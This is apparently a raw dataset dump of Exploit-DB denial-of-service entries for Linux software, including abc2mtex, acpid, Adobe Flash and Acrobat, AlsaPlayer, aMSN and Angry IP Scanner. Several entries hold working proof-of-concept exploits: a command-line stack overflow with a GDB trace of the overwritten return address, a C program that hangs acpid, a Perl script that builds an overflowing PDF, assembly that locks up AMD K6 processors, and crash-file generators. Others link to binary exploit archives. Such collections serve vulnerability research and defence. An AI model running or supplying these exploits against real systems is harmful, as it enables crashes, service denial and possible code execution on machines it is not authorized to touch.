deardaniel/secdata-raw huggingface dataset:
Exploit-DB #47254
Description: ABC2MTEX 1.6.1 - Command Line Stack Overflow
Type: dos
Platform: linux
Date: 2019-08-14
Author: Carter Yagemann

Exploit:
Exploit Title: ABC2MTEX 1.6.1 - Command Line Stack Overflow
Date: 2019-08-13
Exploit Author: Carter Yagemann <yagemann@gatech.edu>
Vendor Homepage: https://abcnotation.com/abc2mtex/
Software Link: https://github.com/mudongliang/source-packages/raw/master/CVE-2004-1257/abc2mtex1.6.1.tar.gz
Version: 1.6.1
Tested on: Debian Buster

An unsafe strcpy at abc.c:241 allows an attacker to overwrite the return
address from the openIn function by providing a long input filename. This
carries similar risk to CVE-2004-1257.

Setup:

$ wget https://github.com/mudongliang/source-packages/raw/master/CVE-2004-1257/abc2mtex1.6.1.tar.gz
$ tar -xzf abc2mtex1.6.1.tar.gz
$ make

$ gcc --version
gcc (Debian 8.3.0-6) 8.3.0
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

PoC:

$ ./abc2mtex AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFEDCBA

GDB:

We're going to place a breakpoint before and after abc.c:241 to show the overflow.

$ gdb -q ./abc2mtex
Reading symbols from ./abc2mtex...done.
(gdb) break abc.c:241
Breakpoint 1 at 0x4139: file abc.c, line 241.
(gdb) break abc.c:242
Breakpoint 2 at 0x414c: file abc.c, line 242.
(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFEDCBA
Starting program: /tmp/tmp.4jy8nhwOI3/abc2mtex AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFEDCBA

Breakpoint 1, openIn (filename=0x7fffffffe240 'A' <repeats 120 times>, "FEDCBA") at abc.c:241
241                     (void) strcpy(savename,filename);
(gdb) bt
#0  openIn (filename=0x7fffffffe240 'A' <repeats 120 times>, "FEDCBA") at abc.c:241
#1  0x[PII_REDACTED]556f00 in main (argc=2, argv=0x7fffffffe4f8) at fields.c:273
(gdb) c
Continuing.

Breakpoint 2, openIn (filename=0x7fffffffe240 'A' <repeats 120 times>, "FEDCBA") at abc.c:242
242                     (void) strcat(filename,".abc");
(gdb) bt
#0  openIn (filename=0x7fffffffe240 'A' <repeats 120 times>, "FEDCBA") at abc.c:242
#1  0x[PII_REDACTED]444546 in ?? ()
#2  0x00007fffffffe4f8 in ?? ()
#3  0x[PII_REDACTED]000000 in ?? ()
#4  0x[PII_REDACTED]000000 in ?? ()
(gdb) c
Continuing.
file "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFEDCBA" does not exist

Program received signal SIGSEGV, Segmentation fault.
0x[PII_REDACTED]444546 in ?? ()
(gdb) quit
Exploit-DB #35240
Description: acpid 1.0.x - Multiple Local Denial of Service Vulnerabilities
Type: dos
Platform: linux
Date: 2011-01-19
Author: Vasiliy Kulikov

Exploit:
// source: https://www.securityfocus.com/bid/45915/info

The 'acpid' daemon is prone to multiple local denial-of-service vulnerabilities.

Successful exploits will allow attackers to cause the application to hang, denying service to legitimate users.

acpid 1.0.10 is vulnerable; other versions may also be affected.

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <errno.h>
#include <sys/un.h>
#include <fcntl.h>
#include <unistd.h>

/* Tested on acpid-1.0.10 (Ubuntu 10.04) */

int ud_connect(const char *name)
{
	int fd;
	int r;
	struct sockaddr_un addr;

	fd = socket(AF_UNIX, SOCK_STREAM, 0);
	if (fd < 0) {
		perror("socket");
		return fd;
	}

	memset(&addr, 0, sizeof(addr));
	addr.sun_family = AF_UNIX;
	sprintf(addr.sun_path, "%s", name);

	r = connect(fd, (struct sockaddr *)&addr, sizeof(addr));
	if (r < 0) {
		perror("connect");
		close(fd);
		return r;
	}

	return fd;
}

int main(int argc, char *argv[])
{
	int fd;
	char c;

	if (argc != 2) {
		fprintf(stderr, "Usage: prog fname\n");
		exit(1);
	}

	fd = ud_connect(argv[1]);
	if (fd < 0)
		exit(1);
	printf("\"Hanging\" socket opened, fd = %d\n", fd);

	fd = ud_connect(argv[1]);
	if (fd < 0)
		exit(1);
	printf("Normal socket opened, fd = %d\n", fd);

	while (1) {
		static int n;
		read(fd, &c, 1);
		fflush(stdout);
		if (c == '\n') {
			printf("%d messages in queue\n", ++n);
		}
	}
}
Exploit-DB #33017
Description: Adobe Acrobat 9.1.3 - Stack Exhaustion Denial of Service
Type: dos
Platform: linux
Date: 2009-05-29
Author: Saint Patrick

Exploit:
source: https://www.securityfocus.com/bid/35148/info

Adobe Acrobat is prone to a denial-of-service vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Attackers can exploit this issue to cause the affected application to crash, effectively denying service. Attackers may also be able to execute arbitrary code, but this has not been confirmed.

Acrobat 9.1.1 is vulnerable; other versions may also be affected.

NOTE: This BID was previously classified as a buffer-overflow issue, but further analysis reveals that it is a stack-exhaustion issue. Code execution is unlikely. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33017.pdf
Exploit-DB #45268
Description: Adobe Flash - AVC Processing Out-of-Bounds Read
Type: dos
Platform: linux
Date: 2018-08-27
Author: Google Security Research

Exploit:
The attached fuzz file causes an out-of-bounds read in AVC processing. To reproduce the issue, put both attached files on a server, and vist:

http://127.0.0.1/LoadMP4.swf?file=transpose.mp4

This issue reproduces on Chrome and Firefox for Linux. 


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45268.zip
Exploit-DB #37867
Description: Adobe Flash - Pointer Crash After Continuing Slow Script
Type: dos
Platform: linux
Date: 2015-08-19
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=397&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

Running the attached swf file in Google Chrome (Linux x64) will eventually result in dialog offering to terminate the slow script. (Not the Google Chrome infobar that says that Flash isn't responding, but the dialog that appears after that.)

Upon electing to terminate the script, a crash occurs.

It is not known whether this bug can be triggered or not without user interaction.

The crashing swf is signal_sigsegv_7ffff5ce5ea4_6963_b1d[PII_REDACTED]426c7ea26c725453e7d.swf

The base file from which the mutated file was generated is b1d[PII_REDACTED]426c7ea26c725453e7d.swf

On Linux x64, the crash looks like this:

=> 0x00007f[PII_REDACTED]:	andl   $0xffffffbf,0x3c(%rax)
rax            0x7ff[PII_REDACTED][PII_REDACTED][PII_REDACTED]60

And if we look back in the assembly a bit, the wild value has come from %rbx that points to a block of wild values.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37867.zip
Exploit-DB #37869
Description: Adobe Flash - Pointer Crash in Button Handling
Type: dos
Platform: linux
Date: 2015-08-19
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=399&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

The attached sample, signal_sigsegv_7ffff60a1429_9554_f4dc[PII_REDACTED]04dfe394d4c6c3e674.swf, crashes in this manner on Linux x64:

=> 0x00007f693158481f:	movzbl (%rcx),%r11d
rcx            0x3102ffffecfd[PII_REDACTED]8045

The base sample from which this fuzz case was generated is also attached. We believe this may be related to button handling.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37869.zip
Exploit-DB #37866
Description: Adobe Flash - Pointer Crash in Drawing and Bitmap Handling
Type: dos
Platform: linux
Date: 2015-08-19
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=396&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

A nasty looking crash is manifesting in various different ways under fuzzing, apparently related to drawing and bitmap handling.

A trigger is attached, signal_sigsegv_7ffff5b5aee2_252_0688bbd450e7c095265d00be2fca50ab.swf

The base file from which this fuzz case was generated is attached, 0688bbd450e7c095265d00be2fca50ab.swf

The crash on 64-bit Linux looks like this:

=> 0x00007f69314b8f7d:	cmpl   $0xc,0x174(%rax)

rax            0x83071500ff0[PII_REDACTED][PII_REDACTED]

If we trace through the usages of %rax, we can get to some bad writes pretty easily:

=> 0x00007f69314b8f7d:	cmpl   $0xc,0x174(%rax)
   0x00007f69314b8f84:	je     0x7f69314b8fa0
...
   0x00007f69314b8fa0:	mov    (%rax),%rdi      <-- rdi compromised
   0x00007f69314b8fa3:	callq  0x7f69314b8810
...
   0x00007f69314b8810:	mov    (%rsi),%edx
   0x00007f69314b8812:	cmp    $0x7ffffff,%edx
   0x00007f69314b8818:	je     0x7f69314b8862
   0x00007f69314b881a:	mov    0x10(%rdi),%eax
   0x00007f69314b881d:	cmp    $0x7ffffff,%eax
   0x00007f69314b8822:	je     0x7f69314b8868
   0x00007f69314b8824:	sub    $0x1,%edx
   0x00007f69314b8827:	cmp    %eax,%edx
   0x00007f69314b8829:	cmovg  %eax,%edx
   0x00007f69314b882c:	mov    0x14(%rdi),%eax
   0x00007f69314b882f:	mov    %edx,0x10(%rdi)  <---- rdi written to

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37866.zip
Exploit-DB #37870
Description: Adobe Flash - Pointer Crash in XML Handling
Type: dos
Platform: linux
Date: 2015-08-19
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=400&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

The attached sample file, signal_sigsegv_7ffff637297a_8900_e3f87b25c25db8f9ec3c975f8c1211cc.swf, crashes, perhaps relating to XML handling.

The crash looks like this on Linux x64:

=> 0x00007f6931226f22:	mov    0x8(%rcx),%eax
rcx            0x[PII_REDACTED]30[PII_REDACTED][PII_REDACTED]

The wider context shows that the wild pointer target can be incremented with this vulnerability, which is typically enough for an exploit:

=> 0x00007f6931226f22:	mov    0x8(%rcx),%eax    <--- read
   0x00007f6931226f25:	test   %eax,%eax
   0x00007f6931226f27:	je     0x7f6931226f80
   0x00007f6931226f29:	test   $0x40000000,%eax
   0x00007f6931226f2e:	jne    0x7f6931226f80
   0x00007f6931226f30:	add    $0x1,%eax         <--- increment
   0x00007f6931226f33:	cmp    $0xff,%al
   0x00007f6931226f35:	mov    %eax,0x8(%rcx)    <--- write back

The base sample from which this fuzz case was generated is also attached, e3f87b25c25db8f9ec3c975f8c1211cc.swf

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37870.zip
Exploit-DB #33134
Description: Adobe Flash Player 10.0.22 / AIR - 'intf_count' Integer Overflow
Type: dos
Platform: linux
Date: 2009-07-30
Author: Roee Hay

Exploit:
source: https://www.securityfocus.com/bid/35907/info

Adobe Flash Player and Adobe AIR are prone to an integer-overflow vulnerability.

Attackers can exploit this issue to execute arbitrary code in the context of the application. Failed attacks may cause a denial-of-service condition.

This issue was previously covered in BID 35890 (Adobe Flash Player and AIR Multiple Security Vulnerabilities) but has been given its own record to better document it.

UPDATE (September 4, 2009): Mac OS X 10.6 reportedly ships with Flash Player 10.0.23.1, which will overwrite any installed version of Flash Player when Mac OS X is being installed.

This issue affects versions *prior to* the following:

Flash Player 10.0.32.18
AIR 1.5.2 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33134.zip
Exploit-DB #32452
Description: Adobe Flash Player 9/10 - SWF Version Null Pointer Dereference Denial of Service
Type: dos
Platform: linux
Date: 2008-10-02
Author: Matthew Dempsky

Exploit:
source: https://www.securityfocus.com/bid/31537/info

Adobe Flash Player Plugin is prone to a remote denial-of-service vulnerability.

Successfully exploiting this issue will allow attackers to crash the browser that uses the plugin, denying service to legitimate users.

The following versions of Flash Player Plugin are vulnerable:

9.0.45.0
9.0.112.0
9.0.124.0
10.0.12.10

UPDATE (March 11, 2009): Flash Player Plugin 10.0.22.87 is vulnerable.

UPDATE (September 4, 2009): Mac OS X 10.6 reportedly ships with Flash Player 10.0.23.1, which will overwrite any installed version of Flash Player when Mac OS X is being installed.

UPDATE (June 10, 2010): Flash Player 10.1.53.64 and 9.0.227.0 are available. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32452.zip
Exploit-DB #33283
Description: Adobe Reader 9.1.3 / Acrobat - COM Objects Memory Corruption Remote Code Execution
Type: dos
Platform: linux
Date: 2009-10-13
Author: Skylined

Exploit:
source: https://www.securityfocus.com/bid/36668/info

Adobe Reader and Acrobat are prone to a remote code-execution vulnerability because they fail to properly handle certain COM objects.

An attacker can exploit this issue by supplying a malicious PDF file or webpage. Successful exploits may allow the attacker to execute arbitrary code in the context of a user running the affected application. Failed attempts will likely result in denial-of-service conditions.

This issue was previously covered in BID 36638 (Adobe Reader and Acrobat October 2009 Multiple Remote Vulnerabilities), but has been given its own record to better document it. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33283.tar
Exploit-DB #22846
Description: Adobe Unix Acrobat Reader 4.0/5.0 - WWWLaunchNetscape Buffer Overflow
Type: dos
Platform: linux
Date: 2003-07-01
Author: Paul Szabo

Exploit:
source: https://www.securityfocus.com/bid/8069/info

An individual has reported that Adobe Acrobat Reader for Unix systems is vulnerable to a buffer overflow condition. The error is allegedly related to the processing of hyperlinks, in the function "WWWLaunchNetscape". The flaw is triggered only when Netscape is set as the browser to be used in the preferences (this is the default configuration). This vulnerability may be exploited through maliciously constructed PDF files. 

It should be noted that it is not confirmed that Acrobat Reader for Windows is not affected. Users of both versions should exhibit caution until there is a response from the vendor. 4.x versions of the reader are reportedly not prone to this issue.

#!/usr/bin/perl --
#
# Demo for acroread 5.0.7 on Debian Linux
#
print '
Writing TeX file ...
';
# For acroread 5.0.5 use 248 Bs instead of 504
open P, '>attack.tex';
print P '
\documentclass[11pt]{letter}
\usepackage{times}
\usepackage[pdfpagemode=none,pdfstartview=FitH]{hyperref}
\begin{document}
   \href{mailto:X',("B"x504).("A"x4),'}
   {\texttt{mailto:X("B"x504).("A"x4)}}
\end{document}
';
close P;
#
print '
Running pdflatex ...
';
system 'pdflatex attack';
#
#!#
Exploit-DB #25525
Description: Affix Bluetooth Protocol Stack 3.1/3.2 - Signed Buffer Index (1)
Type: dos
Platform: linux
Date: 2005-04-25
Author: kf

Exploit:
// source: https://www.securityfocus.com/bid/13347/info

A local signed buffer index vulnerability affects Affix Bluetooth Protocol Stack. This issue is due to a failure of the affected utility to properly handle user-supplied buffer size parameters.

This issue may be leveraged by a local attacker to gain escalated privileges on an affected computer. 

/*
        Nokia Affix Bluetooth Signed Buffer Index PoC
        - kf_lists[at]digitalmunition[dot]com
*/


#include <sys/socket.h>
#include <affix/bluetooth.h>
#include <affix/hci_cmds.h>
#include <affix/hci_types.h>

main()
{
       int ctl;


       if ((ctl = socket(PF_AFFIX, SOCK_RAW, -31337)) < 0)
       {
               perror("Something went wrong?");
               exit(1);
       }
}
Exploit-DB #28367
Description: AlsaPlayer 0.99.x - Multiple Buffer Overflow Vulnerabilities
Type: dos
Platform: linux
Date: 2006-08-09
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/19450/info

AlsaPlayer is prone to multiple buffer-overflow vulnerabilities because the application fails to check the size of the data before copying it into a finite-sized internal memory buffer. 

An attacker can exploit these issues to execute arbitrary code within the context of the application or cause a denial-of-service condition. 

AlsaPlayer 0.99.76, the CVS version as of 9 Aug 2006, and prior versions are vulnerable to this issue; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28367.zip
Exploit-DB #30648
Description: AlsaPlayer 0.99.x - Vorbis Input Plugin OGG Processing Remote Buffer Overflow
Type: dos
Platform: linux
Date: 2007-10-08
Author: Erik

Exploit:
source: https://www.securityfocus.com/bid/25969/info

AlsaPlayer is prone to a remote buffer-overflow vulnerability because it fails to properly bounds-check user-supplied data before copying it to an insufficiently sized buffer.

Exploiting this issue allows attackers to execute arbitrary machine code in the context of users running the affected application.

This issue affects versions prior to AlsaPlayer 0.99.80-rc3. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30648.ogg
Exploit-DB #19082
Description: AMD K6 Processor - Denial of Service
Type: dos
Platform: linux
Date: 1998-06-01
Author: Poulot-Cazajous

Exploit:
source: https://www.securityfocus.com/bid/105/info

A bug in Advance Micro Devices K6 processor allows non-privileged
code to crash the machine.

Under Linux 2.1.x a bug stops this vulnerability.

$ cat a.s
.text
.align 4096 /* r1 */
.globl _start
_start:
movl _start, %edi /* S1 */
cmpb 0x80000000(%edi),%dl /* r2, S2 */
je nowhere /* r3 */
ret
$ as -o a.o a.s
$ ld -defsym nowhere=0xc0000000 a.o
$ ./a.out
<lockup. hard reset required>

Remarks :
r1) _start must be aligned, otherwise you get a segfault instead of a lockup.
r2) Using movb instead of compb does not work.
r3) Tries to escape the code segment. Before Linux 2.1.43, the code segments ended 
at bfffffff. After and including 2.1.43, escaping is not possible, because
the code segment covers the whole address space (reducing this segment
to 3.75 GB allows to trigger the bug on 2.1.103).

Speculations :
S1) edi must be loaded with the address of something in a deep cache on the 
CPU. _start works well.
S2) tries to access an invalid address. This address should look like an 
already cached address. If only the highest bits are different, it is
probably more difficult to notice that the address is not really cached.
So using _start+0x80000000 works well.
Exploit-DB #32697
Description: aMSN - '.ctt' Remote Denial of Service
Type: dos
Platform: linux
Date: 2009-01-03
Author: Hakxer

Exploit:
source: https://www.securityfocus.com/bid/33096/info

aMSN is prone to a remote denial-of-service vulnerability because the application fails to perform adequate boundary checks on user-supplied input.

Attackers can exploit this issue by enticing an unsuspecting victim to open a specially crafted '.ctt' file.

Successfully exploiting this issue will cause the application to crash, denying service to legitimate users. Attackers may also be able to run arbitrary code, but this has not been confirmed. 

#!usr/bin/perl
#Description : download The Program and run the
PoC and go to aMSN messenger and go to Contacts / Load Contact List /
Choose Hakxer File
# The Program Get Disconnect from Server
# thx to allah [ Proud To Be A Muslim ]
# EgY Coders Vulnerability Researcher Team
print "************************************************************************
     *** Discovered & Written By : Hakxer [Egy Coders Team]
     *** Program / bug : aMSN [CTT File] Denial Of Service
     *** program site : http://www.amsn-project.net/
     *** Greetz to : Allah , EgY Coders Team , All My Friends
     **************************************************************************"
my $code='<?xml version="1.0"?>
<messenger>
   <service name=".NET Messenger Service">
       <contactlist>
           <contact>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</contact>
       </contactlist>
   </service>
</messenger>';
open (MYFILE,'>>hakxer.ctt');
print MYFILE $code;
close(MYFILE);
Exploit-DB #46038
Description: Angry IP Scanner for Linux 3.5.3 - Denial of Service (PoC)
Type: dos
Platform: linux
Date: 2018-12-24
Author: Sam

Exploit:
# Exploit Title: Angry IP Scanner for Linux 3.5.3 - Denial of Service (PoC)
# Discovery by: Mr Winst0n
# Discovery Date: 2018-12-22
# Vendor Homepage: https://angryip.org/
# Software Link : https://angryip.org/download/
# Tested Version: 3.5.3 (latest version)
# Tested on: Kali linux
# Vulnerability Type: Denial of Service (DoS)

# Steps to Produce the Crash:
# 1.- Run python code : python angryip.py
# 2.- Open Xangry.txt and copy content to clipboard
# 3.- Open Angry IP Scanner
# 4.- Go to "Tools" in toolbar, click on "Preferences", then in the tab "Ports",
# 5.- Paste ClipBoard on "Port selection", and click on "OK",
# 6.- Crashed

#!/usr/bin/env python

buffer = "\x41" * 384
crash = buffer + "BBBB" + "CCCC"
f = open("Xangry.txt", "w")
f.write(crash)
f.close()
Exploit-DB #21202
Description: Anti-Web HTTPd 2.2 Script - Engine File Opening Denial of Service
Type: dos
Platform: linux
Date: 2002-01-04
Author: methodic

Exploit:
source: https://www.securityfocus.com/bid/3782/info

Anti-Web HTTPD is a freely available, open source web server designed for use on the Linux platform. It is maintained by Doug Hoyte.

Under certain circumstances awhttpd reacts unpredictably.

When a script is executed that opens a file that does not exist, awhttpd still attempts to open the file. When awhttpd attempts to close the non-existing file following the completion of the script, it becomes unstable and crashes, resulting in a denial of service. 

a sample awhttpd script looks like this:
# test.cgi
--AWHTTPD SCRIPT--
echo "this is a test"
F:test.html